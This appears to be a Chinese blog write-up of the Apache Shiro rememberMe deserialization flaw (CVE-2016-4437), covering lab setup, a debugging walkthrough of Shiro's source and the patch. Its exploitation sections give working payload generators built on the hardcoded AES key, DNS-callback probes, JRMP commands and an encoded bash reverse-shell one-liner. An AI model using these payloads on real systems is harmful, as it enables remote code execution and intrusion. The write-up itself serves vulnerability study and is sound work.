0x01 简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。
Apache Shiro基本功能点如下图所示:
Authentication :身份认证 / 登录,验证用户是不是拥有相应的身份;
Authorization :授权,即权限验证,验证某个已认证的用户是否拥有某个权限;即判断用户是否能做事情,常见的如:验证某个用户是否拥有某个角色。或者细粒度的验证某个用户对某个资源是否具有某个权限;
Session Management :会话管理,即用户登录后就是一次会话,在没有退出之前,它的所有信息都在会话中;会话可以是普通 JavaSE 环境的,也可以是如 Web 环境的;
Cryptography :加密,保护数据的安全性,如密码加密存储到数据库,而不是明文存储;
Web Support :Web 支持,可以非常容易的集成到 Web 环境;
Caching :缓存,比如用户登录后,其用户信息、拥有的角色 / 权限不必每次去查,这样可以提高效率;
Concurrency :shiro 支持多线程应用的并发验证,即如在一个线程中开启另一个线程,能把权限自动传播过去;
Testing :提供测试支持;
Run As :允许一个用户假装为另一个用户(如果他们允许)的身份进行访问;
Remember Me :记住我,这个是非常常见的功能,即一次登录后,下次再来的话不用登录了;
注意,本次的Shiro反序列化漏洞点就是出现在Remember Me 这个功能模块上。
0x02 Shiro rememberMe反序列化漏洞(CVE-2016-4437) 漏洞原理 Apache Shiro <= 1.2.4 版本中,加密的用户信息序列化后存储在Cookie的rememberMe字段中,攻击者可以使用Shiro的AES加密算法的默认密钥来构造恶意的Cookie rememberMe值,发送到Shiro服务端之后会先后进行Base64解码、AES解密、readObject()反序列化,从而触发Java原生反序列化漏洞,进而实现RCE。
该漏洞的根源在于硬编码Key。
漏洞版本 Apache Shiro <= 1.2.4
环境搭建 直接参考Vulhub:https://vulhub.org/#/environments/shiro/CVE-2016-4437/
或者从GitHub下载漏洞版本的Shiro在本地搭建均可。
这里看下本地怎么搭建,这里使用Apache Shiro Quickstart示例页面作为本地靶机环境,先下载Shiro并切换到漏洞版本1.2.4:
1 2 git clone https://github.com/apache/shiro.git git checkout shiro-root-1.2.4 #切换分支
接着在IDEA中打开shiro/samples/web
子目录为项目,修改pom.xml,注意最后要添加识别JSP标签的JSTL库和Standard库:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 <?xml version="1.0" encoding="UTF-8"?> <project xmlns ="http://maven.apache.org/POM/4.0.0" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd" > <parent > <groupId > org.apache.shiro.samples</groupId > <artifactId > shiro-samples</artifactId > <version > 1.2.4</version > <relativePath > ../pom.xml</relativePath > </parent > <modelVersion > 4.0.0</modelVersion > <artifactId > samples-web</artifactId > <name > Apache Shiro :: Samples :: Web</name > <packaging > war</packaging > <build > <plugins > <plugin > <groupId > org.apache.maven.plugins</groupId > <artifactId > maven-toolchains-plugin</artifactId > <version > 1.1</version > <executions > <execution > <goals > <goal > toolchain</goal > </goals > </execution > </executions > <configuration > <toolchains > <jdk > <version > 1.7</version > <vendor > sun</vendor > </jdk > </toolchains > </configuration > </plugin > <plugin > <artifactId > maven-surefire-plugin</artifactId > <configuration > <forkMode > never</forkMode > </configuration > </plugin > <plugin > <groupId > org.mortbay.jetty</groupId > <artifactId > maven-jetty-plugin</artifactId > <version > ${jetty.version}</version > <configuration > <contextPath > /</contextPath > <connectors > <connector implementation ="org.mortbay.jetty.nio.SelectChannelConnector" > <port > 9080</port > <maxIdleTime > 60000</maxIdleTime > </connector > </connectors > <requestLog implementation ="org.mortbay.jetty.NCSARequestLog" > <filename > ./target/yyyy_mm_dd.request.log</filename > <retainDays > 90</retainDays > <append > true</append > <extended > false</extended > <logTimeZone > GMT</logTimeZone > </requestLog > </configuration > </plugin > </plugins > </build > <dependencies > <dependency > <groupId > javax.servlet</groupId > <artifactId > servlet-api</artifactId > <scope > provided</scope > </dependency > <dependency > <groupId > org.slf4j</groupId > <artifactId > slf4j-log4j12</artifactId > <scope > runtime</scope > </dependency > <dependency > <groupId > log4j</groupId > <artifactId > log4j</artifactId > <scope > runtime</scope > </dependency > <dependency > <groupId > net.sourceforge.htmlunit</groupId > <artifactId > htmlunit</artifactId > <version > 2.6</version > <scope > test</scope > </dependency > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-core</artifactId > </dependency > <dependency > <groupId > org.apache.shiro</groupId > <artifactId > shiro-web</artifactId > </dependency > <dependency > <groupId > org.mortbay.jetty</groupId > <artifactId > jetty</artifactId > <version > ${jetty.version}</version > <scope > test</scope > </dependency > <dependency > <groupId > org.mortbay.jetty</groupId > <artifactId > jsp-2.1-jetty</artifactId > <version > ${jetty.version}</version > <scope > test</scope > </dependency > <dependency > <groupId > org.slf4j</groupId > <artifactId > jcl-over-slf4j</artifactId > <scope > runtime</scope > </dependency > <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency > <dependency > <groupId > javax.servlet</groupId > <artifactId > jstl</artifactId > <version > 1.2</version > <scope > runtime</scope > </dependency > <dependency > <groupId > taglibs</groupId > <artifactId > standard</artifactId > <version > 1.1.2</version > <scope > runtime</scope > </dependency > </dependencies > </project >
接着配置Tomcat服务器:
之后运行就OK了。
漏洞复现 Shiro特征探测,在登录接口的响应报文中Set-Cookie头字段存在rememberMe,可以针对此类型接口进行PoC盲打:
漏洞探测1 shiro_poc.py,基于ysoserial工具生成基于CommonsBeanutils1的反序列化利用payload,然后使用Shiro默认Key来进行AES和Base64相关加密操作,最后输出完整rememberMe的payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AESdef encode_rememberme (command) : popen = subprocess.Popen(['java' , '-jar' , 'ysoserial-master-6eca5bc740-1.jar' , 'CommonsBeanutils1' , command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__' : payload = encode_rememberme(sys.argv[1 ]) print("rememberMe={}" .format(payload.decode()))
生成探测类的PoC:
1 python shiro_poc.py "ping xxx.ceye.io"
直接将上述命令输出的payload放到Cookie中打过去,任意接口都OK:
ceye中看到DNS查询记录就验证存在rememberMe反序列化漏洞:
漏洞探测2 当然,通用的反序列化探测类PoC为URLDNS这个Gadget,这是因为URLDNS类无需其他依赖、就存在于JDK环境中,其已集成在ysoserial中,我们直接用就可以了,使其指向DNSLOG:
1 java -jar ysoserial-master-6eca5bc740-1.jar URLDNS "http://oup399.dnslog.cn" > poc.ser
Java写的用于生成payload,和前面的shiro_poc.py原理一样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import org.apache.shiro.crypto.AesCipherService;import org.apache.shiro.codec.CodecSupport;import org.apache.shiro.util.ByteSource;import org.apache.shiro.codec.Base64;import java.nio.file.Files;import java.nio.file.Paths;public class TestRemember { public static void main (String[] args) throws Exception { byte [] payloads = Files.readAllBytes(Paths.get("E:\\xxx\\poc.ser" )); AesCipherService aes = new AesCipherService(); byte [] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA==" )); ByteSource ciphertext = aes.encrypt(payloads, key); System.out.println(ciphertext.toString()); } }
运行得到payload,放到Cookie的rememberMe中打过去:
此时DNSLOG收到请求即可验证存在漏洞:
漏洞利用 后续利用只需将执行的命令改为反弹shell的bash命令即可:
1 python shiro_poc.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjEuMC4xLzY2NiAwPiYx}|{base64,-d}|{bash,-i}"
最终测试的shiro_poc.py脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AESdef encode_rememberme (command) : popen = subprocess.Popen(['java' , '-jar' , 'ysoserial-master-6eca5bc740-1.jar' , 'JRMPClient' , command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__' : payload = encode_rememberme('172.21.0.1:1234' ) print("rememberMe={}" .format(payload.decode()))
调试分析 在本地搭建的Apache Shiro Quickstart环境中,我们在看Shiro源码的时候,看到一个名为CookieRememberMeManager的类,顾名思义就是Cookie rememberMe的管理类,直接在org/apache/shiro/web/mgt/CookieRememberMeManager类的getRememberedSerializedIdentity()函数中打上断点开始调试。
用URLDNS的payload打过去,此时函数调用栈如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 getRememberedSerializedIdentity:187, CookieRememberMeManager (org.apache.shiro.web.mgt) getRememberedPrincipals:393, AbstractRememberMeManager (org.apache.shiro.mgt) getRememberedIdentity:604, DefaultSecurityManager (org.apache.shiro.mgt) resolvePrincipals:492, DefaultSecurityManager (org.apache.shiro.mgt) createSubject:342, DefaultSecurityManager (org.apache.shiro.mgt) buildSubject:846, Subject$Builder (org.apache.shiro.subject) buildWebSubject:148, WebSubject$Builder (org.apache.shiro.web.subject) createSubject:292, AbstractShiroFilter (org.apache.shiro.web.servlet) doFilterInternal:359, AbstractShiroFilter (org.apache.shiro.web.servlet) doFilter:125, OncePerRequestFilter (org.apache.shiro.web.servlet) internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) invoke:199, StandardWrapperValve (org.apache.catalina.core) invoke:96, StandardContextValve (org.apache.catalina.core) invoke:543, AuthenticatorBase (org.apache.catalina.authenticator) invoke:139, StandardHostValve (org.apache.catalina.core) invoke:81, ErrorReportValve (org.apache.catalina.valves) invoke:690, AbstractAccessLogValve (org.apache.catalina.valves) invoke:87, StandardEngineValve (org.apache.catalina.core) service:343, CoyoteAdapter (org.apache.catalina.connector) service:615, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:818, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1627, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)
在getRememberedSerializedIdentity()函数中,调用getCookie()函数获取到cookie头字段,然后调用readValue()函数获取到cookie中的rememberMe对应的值即恶意构造的payload:
接着,是对这段base64字符串进行Base64解码并返回:
往下,返回到了父类org/apache/shiro/mgt/AbstractRememberMeManager的getRememberedPrincipals()函数中,其中对返回的字节数组通过调用convertBytesToPrincipals()函数来进行一个转换的操作:
跟进convertBytesToPrincipals()函数,先判断是否有加密算法服务,这里看到是使用CBC模式的AES加密算法的,其中Padding规则是PKCS5,然后开始调用decrypt()函数来对前面Base64解密后的字节数组进行AES解密操作:
跟进decrypt()函数,其中调用CipherService类的decrypt()函数来进一步解密,这里解密细节无需过多探究,再往下就是得到解密后的序列化字节数组并返回:
注意到,这里AES加密算法是对称加密算法,即加密和解密的Key是一样的,上面是通过调用AbstractRememberMeManager类的getDecryptionCipherKey()函数来获取解密Key的,跟进去查看后,发现AbstractRememberMeManager类的构造函数默认就调用setCipherKey()函数来设置加解密的Key了,而该Key则是硬编码写死在其中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );... public AbstractRememberMeManager () { this .serializer = new DefaultSerializer<PrincipalCollection>(); this .cipherService = new AesCipherService(); setCipherKey(DEFAULT_CIPHER_KEY_BYTES); } ... public void setCipherKey (byte [] cipherKey) { setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); }
返回到convertBytesToPrincipals()函数后,就是直接注意调用deserialize()函数对返回的序列化字节数组进行反序列化操作:
往下,就是用默认反序列化器来进行反序列化操作,即熟悉的readObject():
至此,Shiro对Cookie的rememberMe的处理流程已整体调试分析完了。
部分Gadget打失败的坑 使用如下命令来打本地靶机环境并未成功,但环境中确实存在漏洞版本的CommonsCollections包:
1 java -jar ysoserial-master-6eca5bc740-1.jar CommonsCollections5 "calc" > poc.ser
看服务端主要有如下报错信息:
1 2 3 4 5 6 2020-10-09 16:43:17,920 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load clazz named [org.apache.commons.collections.keyvalue.TiedMapEntry] from class loader [ParallelWebappClassLoader 2020-10-09 16:43:18,082 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load clazz named [org.apache.commons.collections.map.LazyMap] from class loader [ParallelWebappClassLoader 2020-10-09 16:43:19,335 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load clazz named [org.apache.commons.collections.functors.ChainedTransformer] from class loader [ParallelWebappClassLoader 2020-10-09 16:43:19,567 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;] from class loader [ParallelWebappClassLoader 2020-10-09 16:43:19,736 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load clazz named [org.apache.commons.collections.functors.ConstantTransformer] from class loader [ParallelWebappClassLoader 2020-10-09 16:43:20,112 TRACE [org.apache.shiro.util.ClassUtils]: Unable to load class named [org.apache.commons.collections.functors.InvokerTransformer] from the current ClassLoader. Trying the system/application ClassLoader...
也就是说,在环境中找不到TiedMapEntry、LazyMap、ChainedTransformer、Transformer、ConstantTransformer、InvokerTransformer这几个本该在JDK环境中就存在的类。
调试发现,该payload在readObject()的调用中会调用到org/apache/shiro/io/ClassResolvingObjectInputStream类的resolverClass()函数,很明显ClassResolvingObjectInputStream类继承了ObjectInputStream类并重写了resolverClass()函数,其中调用forName()来反射获取类:
跟进到forName()函数中调试发现,就是前面报错信息显示的那几个类在不同类加载器的loadClass()函数中调用时并没有加载成功从而返回null和打印如上的报错信息:
这里先使用THREAD_CL_ACCESSOR类加载器加载,加载失败返回为null后继续使用CLASS_CL_ACCESSOR类加载器加载,加载失败返回为null后再继续使用SYSTEM_CL_ACCESSOR加载器加载,均为null则打印报错信息并抛出异常。
分别跟进loadClass()函数看到,前两个是通过ParallelWebappClassLoader这个类加载器来加载类的、而最后一个是通过Launcher$AppClassLoader这个来加载器来加载类的,但是均加载失败打印错误日志并返回null:
至于坑点在哪,这里不做探讨,可参考这篇文章 来调试分析,我们现在只是来看看怎么让payload可行就可以了。
网上的文章给出的关键点就是使用JRMP来打。
先开启恶意JRMP服务端:
1 java -cp ysoserial-master-6eca5bc740-1.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections5 "ping jrmp.0tweer.dnslog.cn"
然后使用JRMP客户端连接恶意JRMP服务端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import sysimport base64import uuidfrom random import Randomimport subprocessfrom Crypto.Cipher import AESdef encode_rememberme (command) : popen = subprocess.Popen(['java' , '-jar' , 'ysoserial-master-6eca5bc740-1.jar' , 'JRMPClient' , command], stdout=subprocess.PIPE) BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) file_body = pad(popen.stdout.read()) base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body)) return base64_ciphertext if __name__ == '__main__' : payload = encode_rememberme('172.21.0.1:1234' ) print("rememberMe={}" .format(payload.decode()))
打过去就可以了:
当然,本地环境和远程环境有点区别,这块坑这里就不涉及了,大伙可自行踩坑填坑。
补丁分析 看到Apache Shiro 1.2.5版本的源码,修复方法就是将使用默认Key加密改为生成随机的Key加密:https://github.com/apache/shiro/commit/4d5bb000a7f3c02d8960b32e694a565c95976848
0x03 工具 推荐ShiroExploit工具,其中包括对硬编码Key和Padding Oracle Attack两种类型Apache Shiro反序列化漏洞的多种检测方式和漏洞利用,集成了AES加密算法Key字典以及ysoserial工具的Gadgets,十分方便:https://github.com/feihong-cs/ShiroExploit
0x04 参考 Shiro-1.2.4-RememberMe 反序列化踩坑深入分析
Apache Shiro源码浅析之从远古洞到最新PaddingOracle CBC
Shiro反序列化漏洞利用汇总(Shiro-550+Shiro-721)